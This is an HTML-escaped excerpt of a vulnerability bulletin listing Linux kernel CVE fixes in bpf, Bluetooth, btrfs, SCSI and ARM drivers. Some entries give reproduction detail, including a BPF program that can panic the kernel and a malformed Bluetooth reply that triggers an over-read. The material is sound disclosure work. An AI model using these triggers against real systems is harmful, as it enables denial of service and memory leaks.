&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf, cgroup: Fix storage null-ptr-deref after replacing prog Syzkaller reported a storage null-ptr-deref issue after replacing prog. This occurs in the following scenario: 1. prog A, an empty prog, is attached to a cgrp. 2. prog B uses BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE and calls the bpf_get_local_storage helper. 3. link_update is called to replace prog A with prog B. The reason is that __cgroup_bpf_replace fails to alloc and assign the required cgrp storage for the incoming replacement prog. Consequently, the new prog inherits an uninit storage, leading to null-ptr-deref panic when kick the new prog. Fix this by rejecting a link update if new_prog&#039;s cgroup storage is incompatible with link-&amp;gt;prog.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90250&quot; target=&quot;_blank&quot;&gt;CVE-2026-90250&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: MSFT: validate evt_prefix_len against the response length read_supported_features() only checks that the response covers the fixed part of struct msft_rp_read_supported_features, which is 11 bytes: if (skb-&amp;gt;len &amp;lt; sizeof(*rp)) { bt_dev_err(hdev, &quot;MSFT supported features length mismatch&quot;); goto failed; } evt_prefix[] is a flexible array member and rp-&amp;gt;evt_prefix_len is an unvalidated u8 taken straight out of that response, so msft-&amp;gt;evt_prefix = kmemdup(rp-&amp;gt;evt_prefix, rp-&amp;gt;evt_prefix_len, GFP_KERNEL); copies up to 255 bytes from a reply that may have carried none of them. What is copied is data the controller never sent, and it is then used to match incoming vendor events in msft_vendor_evt(). This is not an out-of-bounds access. An skb data allocation always has at least SKB_DATA_ALIGN(sizeof(struct skb_shared_info)) bytes past the payload, which is more than the 255 byte maximum, so the read stays inside the allocation and KASAN does not report it. It is still a read of bytes the host was never given, with the length fully controlled by the controller. Reject a response that is too short for the prefix it declares. Verified with an emulated controller over /dev/vhci on a KASAN kernel, with vhci made to advertise an MSFT opcode the way btintel, btqca, btmtk and btrtl do unconditionally. A reply of exactly 11 bytes declaring evt_prefix_len = 255 reaches kmemdup and copies 255 bytes (&quot;skb-&amp;gt;len=11 evt_prefix_len=255&quot;, with the copied buffer dumped); since the reply ends at the fixed part, all 255 come from past the end of the response. No KASAN report is produced, as expected from the allocation slack described above. With this patch the response is rejected with &quot;MSFT event prefix length mismatch&quot; and msft-&amp;gt;evt_prefix is left unset.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90251&quot; target=&quot;_blank&quot;&gt;CVE-2026-90251&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: MGMT: free the HCI command when it is cancelled mgmt_hci_cmd_sync() queues the pending command with a NULL destroy callback, so it is only freed if send_hci_cmd_sync() runs. A cancelled entry is leaked, as _hci_cmd_sync_cancel_entry() does not release entry-&amp;gt;data when there is no destroy callback, and hci_cmd_sync_clear() cancels every pending entry when the controller is unregistered. Nothing else reclaims it either: mgmt_pending_new() does not put the command on hdev-&amp;gt;mgmt_pending. The leak also pins the socket reference taken by mgmt_pending_new(), so the mgmt socket is never released. Free the command from a destroy callback. The now-empty done label is replaced by a direct return.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90252&quot; target=&quot;_blank&quot;&gt;CVE-2026-90252&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: MGMT: free the mesh send cancel command when it is cancelled mesh_send_cancel() queues the pending command with a NULL destroy callback, so it is only freed if send_cancel() runs. A cancelled entry is leaked, as _hci_cmd_sync_cancel_entry() does not release entry-&amp;gt;data when there is no destroy callback, and hci_cmd_sync_clear() cancels every pending entry when the controller is unregistered. Nothing else reclaims it either: mgmt_pending_new() does not put the command on hdev-&amp;gt;mgmt_pending. The leak also pins the socket reference taken by mgmt_pending_new(), so the mgmt socket is never released. Free the command from a destroy callback.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90253&quot; target=&quot;_blank&quot;&gt;CVE-2026-90253&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_sync: free the advertising instance on the failure and cancel paths adv_timeout_expire() hands a kmalloc()ed instance byte to hci_cmd_sync_queue() with a NULL destroy callback, and only adv_timeout_expire_sync() frees it. That leaks on two paths: - the return value is not checked, and hci_cmd_sync_queue() does not take ownership when it fails (-ENETDOWN, -ENODEV, -ENOMEM); - a cancelled entry is not released, as _hci_cmd_sync_cancel_entry() does not free entry-&amp;gt;data when there is no destroy callback. hci_cmd_sync_clear() cancels every pending entry when the controller is unregistered. Free the buffer from a destroy callback, and in the caller when the entry could not be queued at all.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90254&quot; target=&quot;_blank&quot;&gt;CVE-2026-90254&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: virtio_bt: avoid OOB read of build info string The virtbt_setup_zephyr() sends the Zephyr vendor command 0xfc08 (Read Build Information) and hands the response to bt_dev_info() and hci_set_fw_info() as a &quot;%s&quot; string starting at skb-&amp;gt;data + 1, without checking the length. A backend that answers with status only leaves that pointer past the end of the received data, so the walk reads adjacent slab memory until it meets a NUL. Those bytes reach the kernel log and the firmware-info debugfs file. To fix this, print the string with a bounded &quot;%.*s&quot; limited to skb-&amp;gt;len - 1. A short or unterminated response then prints as much as arrived instead of failing setup. This mirrors commit dd068ef04412 (&quot;Bluetooth: bpa10x: avoid OOB read of revision string in bpa10x_setup()&quot;), which fixed the identical pattern.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90257&quot; target=&quot;_blank&quot;&gt;CVE-2026-90257&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: pinctrl: airoha: add missed IRQ resource helpers Without hooking .irq_request_resources, gpiolib cannot set GPIOD_FLAG_USED_AS_IRQ. This breaks pin direction locking and can allow userspace or another driver to reconfigure an active IRQ pin as an output&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90258&quot; target=&quot;_blank&quot;&gt;CVE-2026-90258&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: qgroup: fix a wrong length calculation in qgroup_free_reserved_data() In that function, we round down the start position and round up the ending position. But during the calculation of @len, we use &quot;round_up(start + len, sectorsize)&quot;, which is the rounded up end position, not the rounded up length. Which results a much larger length, and later we are still using &quot;start + len&quot;, which is completely incorrect. Fix it by declaring a local @aligned_start and @aligned_len and use them instead.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90259&quot; target=&quot;_blank&quot;&gt;CVE-2026-90259&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: zoned: flush active metadata block group at btree_writepages() start btree_writepages() writes the btree inode&#039;s dirty metadata in ascending logical address order. On a zoned filesystem only one metadata and one system block group is active for writing at a time, and check_bg_is_active() (via btrfs_check_meta_write_pointer()) pivots the active block group as writeback moves from one block group to the next. If the active block group sits at a higher logical address than another block group that also holds dirty metadata, the ascending walk reaches the lower one first and, to write it, has to finish the active block group and activate the lower one. It cannot finish a block group that still has unsent IO, and during WB_SYNC_ALL &amp;amp;&amp;amp; !for_sync (commit) writeback it deliberately refuses to wait for that IO under fs_info-&amp;gt;zoned_meta_io_lock, as that can deadlock. The pivot thus cannot issue the submission itself either, so it gives up: btrfs_check_meta_write_pointer() returns -EAGAIN, which btrfs_write_and_wait_transaction() treats as fatal and aborts the transaction, forcing the filesystem read-only. This happens intermittently under metadata-heavy relocation (e.g. fstests btrfs/187). Flush the active metadata and system block groups at the start of btree_writepages(), under the fs_info-&amp;gt;zoned_meta_io_lock it already holds, so they have no unsent IO left and the later pivot can finish them and make forward progress.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90261&quot; target=&quot;_blank&quot;&gt;CVE-2026-90261&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: retry verity reads for not-uptodate Merkle folios btrfs_read_merkle_tree_page() can find a folio in the mapping that is not uptodate. After taking the folio lock, the current code treats that state as a read error and returns -EIO. That can make a previous transient read failure sticky. If the failed read left a not-uptodate folio in the mapping, later callers find that folio and fail instead of retrying the read. Keep the existing page-cache insertion and locking order, but retry the Merkle item read when a not-uptodate folio is found in the mapping. Also unlock the folio when read_key_bytes() fails so that a later caller can lock it and retry the read.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90262&quot; target=&quot;_blank&quot;&gt;CVE-2026-90262&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: check if root is readonly when setting posix acl For a filesystem which has btrfs read-only property set to true, all write operations including acl and xattr should be denied. However, acl can still be set even if btrfs ro property is true. This happens because no function on the set_acl code path checks the root is readonly or not. It was checked in btrfs_setxattr_trans() but got removed in commit 353c2ea735e4 (&quot;btrfs: remove redundant readonly root check in btrfs_setxattr_trans&quot;) That commit didn&#039;t check if all the callers properly check the root&#039;s read-only flag. A previous fix is commit b51111271b03 (&quot;btrfs: check if root is readonly while setting security xattr&quot;). Always check if the root is read-only before performing the set acl operation.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90263&quot; target=&quot;_blank&quot;&gt;CVE-2026-90263&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: always wait for ordered extents to avoid OE races [BUG] Syzbot reported a bug that there can be conflicting OEs for the same range: BTRFS critical (device loop4): panic in insert_ordered_extent:264: overlapping ordered extents, existing oe file_offset 16384 num_bytes 430080 flags 0x1089, new oe file_offset 16384 num_bytes 430080 flags 0x80 (errno=-17 Object alrea[ 179.162726][ T6897] BTRFS critical (device loop4): panic in insert_ordered_extent:264: overlapping ordered extents, existing oe file_offset 16384 num_bytes 430080 flags 0x1089, new oe file_offset 16384 num_bytes 430080 flags 0x80 (errno=-17 Object already exists) ------------[ cut here ]------------ kernel BUG at fs/btrfs/ordered-data.c:264! Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/09/2026 RIP: 0010:btrfs_alloc_ordered_extent+0x943/0xad0 Call Trace: &amp;lt;TASK&amp;gt; cow_file_range+0x744/0x12a0 fallback_to_cow+0x5ea/0xa00 run_delalloc_nocow+0x110c/0x17a0 btrfs_run_delalloc_range+0xbe4/0x1c20 writepage_delalloc+0x104d/0x1ba0 btrfs_writepages+0x1667/0x28b0 do_writepages+0x338/0x560 filemap_fdatawrite_range+0x1f2/0x300 btrfs_fdatawrite_range+0x54/0xf0 btrfs_direct_write+0x6a0/0xc30 btrfs_do_write_iter+0x329/0x790 do_iter_readv_writev+0x624/0x8d0 vfs_writev+0x34c/0x990 __se_sys_pwritev2+0x17a/0x2a0 do_syscall_64+0x174/0x580 entry_SYSCALL_64_after_hwframe+0x77/0x7f &amp;lt;/TASK&amp;gt; ---[ end trace 0000000000000000 ]--- [CAUSE] Since commit ff66fe666233 (&quot;btrfs: fix incorrect buffered IO fallback for append direct writes&quot;), if the direct IO finished short, we will revert the isize back to the original one, so that append writes can be respected during the buffered fallback. Normally we rely on lock_and_cleanup_extent_if_need() function during buffered writeback to wait for any existing ordered extents. But that ordered extent waiting only happens if the start_pos is inside the isize. Since we have reverted the isize during failed direct IO, we will not wait for any ordered extents. This means we can have a race where the direct IO OE is still in the tree, finished but not yet removed, then we&#039;re inserting the OE for the buffered write, causing the above crash. [FIX] Make the OE wait to be unconditional, to handle the reverted isize situation. And since lock_and_cleanup_extent_if_need() now either lock the extents or return -EAGAIN, also remove the branches that handles no-extent-locked cases, and rename it to remove the &quot;_if_need&quot; suffix. The following micro benchmark shows the runtime difference for btrfs_buffered_write(), doing `xfs_io -f -c &quot;pwrite 0 1m&quot;` workload, all values are the average runtime in nano seconds. function runtime | before | after -----------------------------------+-------------+--------------- lock_and_cleanup_extent_if_need() | 58.2 | 183.0 btrfs_buffered_write() | 2115.6 | 2973.3 The overall runtime of btrfs_buffered_write() is still pretty tiny (still less than 3 micro seconds), I&#039;d say the extra cost is still acceptable. An alternative to fix this problem is to wait ordered extents during iomap_end() where the isize revert is done. But that solution will break nowait requirement, as if a nowait direct IO finished short, we have to wait for the OEs unconditionally or the next append buffered IO can still hit the same problem. So here we have to move the wait cost to buffered write, but at least the code is slightly more streamline.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90264&quot; target=&quot;_blank&quot;&gt;CVE-2026-90264&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: defrag: fix deadlock between defrag and delalloc space reservation While running fsstress with autodefrag and flushoncommit, hit a deadlock due to the fact that defrag reserves delalloc space while it&#039;s holding dirty and locked folios, besides the extent range lock. The stack traces are the following: [958.624] task:kworker/u50:3 state:D stack:0 pid:20365 tgid:20365 ppid:2 task_flags:0x4208060 flags:0x00080000 [958.626] Workqueue: events_unbound btrfs_async_reclaim_metadata_space [btrfs] [958.627] Call Trace: [958.628] &amp;lt;TASK&amp;gt; [958.628] __schedule+0x4be/0x10f0 [958.629] ? preempt_count_add+0x69/0xa0 [958.630] schedule+0x26/0xd0 [958.631] wait_current_trans+0x102/0x160 [btrfs] [958.632] ? __pfx_autoremove_wake_function+0x10/0x10 [958.633] start_transaction+0x374/0x900 [btrfs] [958.634] btrfs_commit_current_transaction+0x1d/0x70 [btrfs] [958.635] flush_space+0xca/0x5e0 [btrfs] [958.636] ? _raw_spin_unlock+0x15/0x30 [958.637] ? btrfs_reduce_alloc_profile+0x8c/0x190 [btrfs] [958.639] ? _raw_spin_unlock+0x15/0x30 [958.640] ? calc_available_free_space.isra.0+0x6f/0x110 [btrfs] [958.641] do_async_reclaim_metadata_space+0x84/0x190 [btrfs] [958.642] btrfs_async_reclaim_metadata_space+0x64/0x80 [btrfs] [958.644] process_one_work+0x19d/0x3a0 [958.644] worker_thread+0x1c4/0x330 [958.645] ? __pfx_worker_thread+0x10/0x10 [958.646] kthread+0xfc/0x130 [958.647] ? __pfx_kthread+0x10/0x10 [958.648] ret_from_fork+0x1f7/0x2c0 [958.648] ? __pfx_kthread+0x10/0x10 [958.649] ret_from_fork_asm+0x1a/0x30 [958.650] &amp;lt;/TASK&amp;gt; [958.651] task:kworker/u49:7 state:D stack:0 pid:52990 tgid:52990 ppid:2 task_flags:0x4208060 flags:0x00080000 [958.653] Workqueue: writeback wb_workfn (flush-btrfs-334) [958.655] Call Trace: [958.655] &amp;lt;TASK&amp;gt; [958.656] __schedule+0x4be/0x10f0 [958.657] ? __blk_flush_plug+0xe9/0x140 [958.658] schedule+0x26/0xd0 [958.658] io_schedule+0x42/0x70 [958.659] folio_wait_bit_common+0x12b/0x330 [958.660] ? folio_wait_bit_common+0x100/0x330 [958.662] ? __pfx_wake_page_function+0x10/0x10 [958.663] extent_write_cache_pages+0x599/0x830 [btrfs] [958.664] ? acpi_fwnode_get_reference_args+0x1fa/0x270 [958.665] btrfs_writepages+0x77/0x130 [btrfs] [958.666] ? __pfx_end_bbio_data_write+0x10/0x10 [btrfs] [958.667] do_writepages+0xc6/0x160 [958.668] __writeback_single_inode+0x42/0x310 [958.669] writeback_sb_inodes+0x231/0x570 [958.670] wb_writeback+0x8a/0x340 [958.671] wb_workfn+0xbf/0x450 [958.672] ? finish_task_switch.isra.0+0xc1/0x350 [958.673] process_one_work+0x19d/0x3a0 [958.673] worker_thread+0x1c4/0x330 [958.674] ? __pfx_worker_thread+0x10/0x10 [958.675] kthread+0xfc/0x130 [958.676] ? __pfx_kthread+0x10/0x10 [958.676] ret_from_fork+0x1f7/0x2c0 [958.677] ? __pfx_kthread+0x10/0x10 [958.678] ret_from_fork_asm+0x1a/0x30 [958.679] &amp;lt;/TASK&amp;gt; [958.679] task:btrfs-cleaner state:D stack:0 pid:296750 tgid:296750 ppid:2 task_flags:0x208040 flags:0x00080000 [958.681] Call Trace: [958.682] &amp;lt;TASK&amp;gt; [958.682] __schedule+0x4be/0x10f0 [958.683] schedule+0x26/0xd0 [958.684] handle_reserve_ticket+0x1b9/0x2c0 [btrfs] [958.685] ? __pfx_autoremove_wake_function+0x10/0x10 [958.686] reserve_bytes+0x283/0x4c0 [btrfs] [958.687] btrfs_reserve_metadata_bytes+0x18/0xb0 [btrfs] [958.688] btrfs_delalloc_reserve_metadata+0x121/0x320 [btrfs] [958.690] btrfs_delalloc_reserve_space+0x46/0xb0 [btrfs] [958.691] btrfs_defrag_file+0x903/0x1110 [btrfs] [958.692] btrfs_run_defrag_inodes+0x334/0x430 [btrfs] [958.694] cleaner_kthread+0x97/0x1c0 [btrfs] [958.694] ? __pfx_cleaner_kthread+0x10/0x10 [btrfs] [958.696] kthread+0xfc/0x130 [958.696] ? __pfx_kthread+0x10/0x10 [958.697] ret_ ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90265&quot; target=&quot;_blank&quot;&gt;CVE-2026-90265&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: zoned: don&#039;t force read-only on transient -EAGAIN from reloc merge On a zoned FS, btrfs_delayed_refs_rsv_refill() returns -EAGAIN whenever the over-committed metadata plus the zone_unusable bytes exceeds the usable size in a metadata block-group to avoid heavy over-commit of metadata and early ENOSPC in one transaction. If this happens while doing reclaim, the transaction is getting aborted. Treat -EAGAIN as a soft, retryable condition in case of block-group reclaim.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90266&quot; target=&quot;_blank&quot;&gt;CVE-2026-90266&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: sd: Fix special_vec mempool leak when scsi_alloc_sgtables() fails sd_set_special_bvec() allocates a special payload page for UNMAP and WRITE SAME commands. If scsi_alloc_sgtables() fails afterward in sd_setup_unmap_cmnd() or sd_setup_write_same{10,16}_cmnd(), the SCSI midlayer does not call uninit_command() because RQF_DONTPREP is not set yet, leaking the page. Call sd_uninit_command() on error, and clear RQF_SPECIAL_PAYLOAD after freeing the page.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90267&quot; target=&quot;_blank&quot;&gt;CVE-2026-90267&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject load-acquire from pointers requiring fault protection A BPF_LOAD_ACQ is not rewritten to a BPF_PROBE_MEM load by the verifier, unlike a regular BPF_LDX, so the JIT emits a plain load with no exception table entry and a fault panics the kernel instead of being handled. Reject the source pointer types that a BPF_LDX would have had that fault protection applied to, i.e. the ones bpf_convert_ctx_accesses() turns into BPF_PROBE_MEM: a bare PTR_TO_BTF_ID, PTR_TO_BTF_ID | PTR_UNTRUSTED, PTR_TO_BTF_ID | MEM_ALLOC | PTR_UNTRUSTED and PTR_TO_MEM | MEM_RDONLY | PTR_UNTRUSTED. This is reachable e.g. by loading -&amp;gt;mm out of a trusted task_struct yields an untrusted pointer to mm_struct, and it is NULL for a kernel thread: [...] SEC(&quot;tp_btf/sched_switch&quot;) int BPF_PROG(demo, bool preempt, struct task_struct *prev, struct task_struct *next) { struct mm_struct *mm = next-&amp;gt;mm; /* untrusted */ out_ldx = (__u64)mm-&amp;gt;pgd; /* BPF_LDX */ out_acq = load_acquire(&amp;amp;mm-&amp;gt;pgd); /* BPF_LOAD_ACQ */ return 0; } [...] Both dereference the same pointer, but only the BPF_LDX is protected (x86-64 JIT, jump targets shown prog-relative): [...] ; out_ldx = (__u64)mm-&amp;gt;pgd; 17: movq $-10485760, %r10 1e: movq %rsi, %r11 21: addq $184, %r11 28: subq %r10, %r11 2b: movabsq $140737498841088, %r10 35: cmpq %r10, %r11 38: ja 0x3e &amp;lt;-- kernel addr? 3a: xorl %edi, %edi &amp;lt;-- no: dst = 0, skip the load 3c: jmp 0x45 3e: movq 184(%rsi), %rdi &amp;lt;-- yes: load + extable entry [...] ; load_acquire(&amp;amp;mm-&amp;gt;pgd) 53: movq %rsi, %rdi 56: movq 184(%rdi), %rax &amp;lt;-- no check, no extable entry [...] Note that BPF_PROBE_MEM is not visible in a bpftool xlated dump, as bpf_insn_prepare_dump() rewrites it back to BPF_MEM. A PTR_TRUSTED pointer is deliberately not on the list. Such a load is not converted either, but it does not need to be, since the pointer is guaranteed live, so load-acquire from it stays allowed. The check is gated on BPF_LOAD_ACQ so that atomic RMW and store-release error messages are unchanged; writes (RMW / store-release) to such pointers are already rejected elsewhere, so only load-acquire needs this.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90269&quot; target=&quot;_blank&quot;&gt;CVE-2026-90269&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: arm_mpam: Disable driver unbind to avoid UAF When a user unbinds an MSC and that MSC is the only MSC left for a component then the corresponding mpam_component will be freed. If the user then goes on to read the schemata file in the resctrl filesystem then the mpam_component will be accessed from resctrl_arch_get_config() leading to a use after free. As the MPAM driver is not a module the unbind sysfs interface is the only way to trigger the remove. Instead of dealing with the complexity of allowing some unused MSC to unbind just remove the unbind sysfs interface.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90270&quot; target=&quot;_blank&quot;&gt;CVE-2026-90270&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: arm_mpam: Fix a NULL pointer dereference on unbinding after an error interrupt If a user unbinds an MSC after mpam_disable() has been run in response to an error interrupt then a dereference of a NULL pointer occurs as mpam_disable() sets the drvdata to NULL. Add an early return to the driver remove callback to avoid this.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90271&quot; target=&quot;_blank&quot;&gt;CVE-2026-90271&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: perf: arm_pmuv3: Zero initialize hw_id branch stack field PERF_SAMPLE_BRANCH_HW_INDEX is supported by BRBE so hw_id is passed to userspace, but it&#039;s never set by the BRBE driver. Zero initialize it as it should be according to the docs: * For the architectures whose raw branch records are * already stored in age order, the hw_idx should be 0. It&#039;s probably too risky to remove PERF_SAMPLE_BRANCH_HW_INDEX from BRBE now in case anyone is setting it and reading the value, but zero initializing the whole struct also protects against the same issue with new fields that are added in the future.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90272&quot; target=&quot;_blank&quot;&gt;CVE-2026-90272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: coresight: etm4x: missing cscfg_csdev_disable_active_config() in perf enable In the perf enable path, there are missing cases where cscfg_csdev_disable_active_config() is not called: - Branch broadcast is selected but not supported by the hardware - etm4_enable_hw() fails This can lead to a leak of config_desc-&amp;gt;active_cnt. Fix this by properly calling cscfg_csdev_disable_active_config() in these error paths.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90273&quot; target=&quot;_blank&quot;&gt;CVE-2026-90273&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: coresight: etm4x: fix underflow for usage of (nrseqstate - 1) According to IHI006H Embedded Trace Macrocell Architecture Specification[0], TRCSEQEVR&amp;lt;n&amp;gt; is implemented only when TRCIDR5.NUMSEQSTATE is 0b100, in which case n ranges from 0 to 2; otherwise, TRCIDR5.NUMSEQSTATE is 0b000. IOW, the number of usage in the initialisation or setting TRCSEQEVR&amp;lt;n&amp;gt; with drvdata-&amp;gt;nrseqstate - 1 in the loop could make underflow issue when TRCIDR5.NUMSEQSTATE is 0b000. Therefore, introduce nr_seq_ctrls field and untie it from nrseqstate. As part of this introduce ETM_MAX_SEQ_TRANSITIONS macro and apply nr_seq_ctrls and above macro to TRCSEQEVR&amp;lt;n&amp;gt; relevant fields setup.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
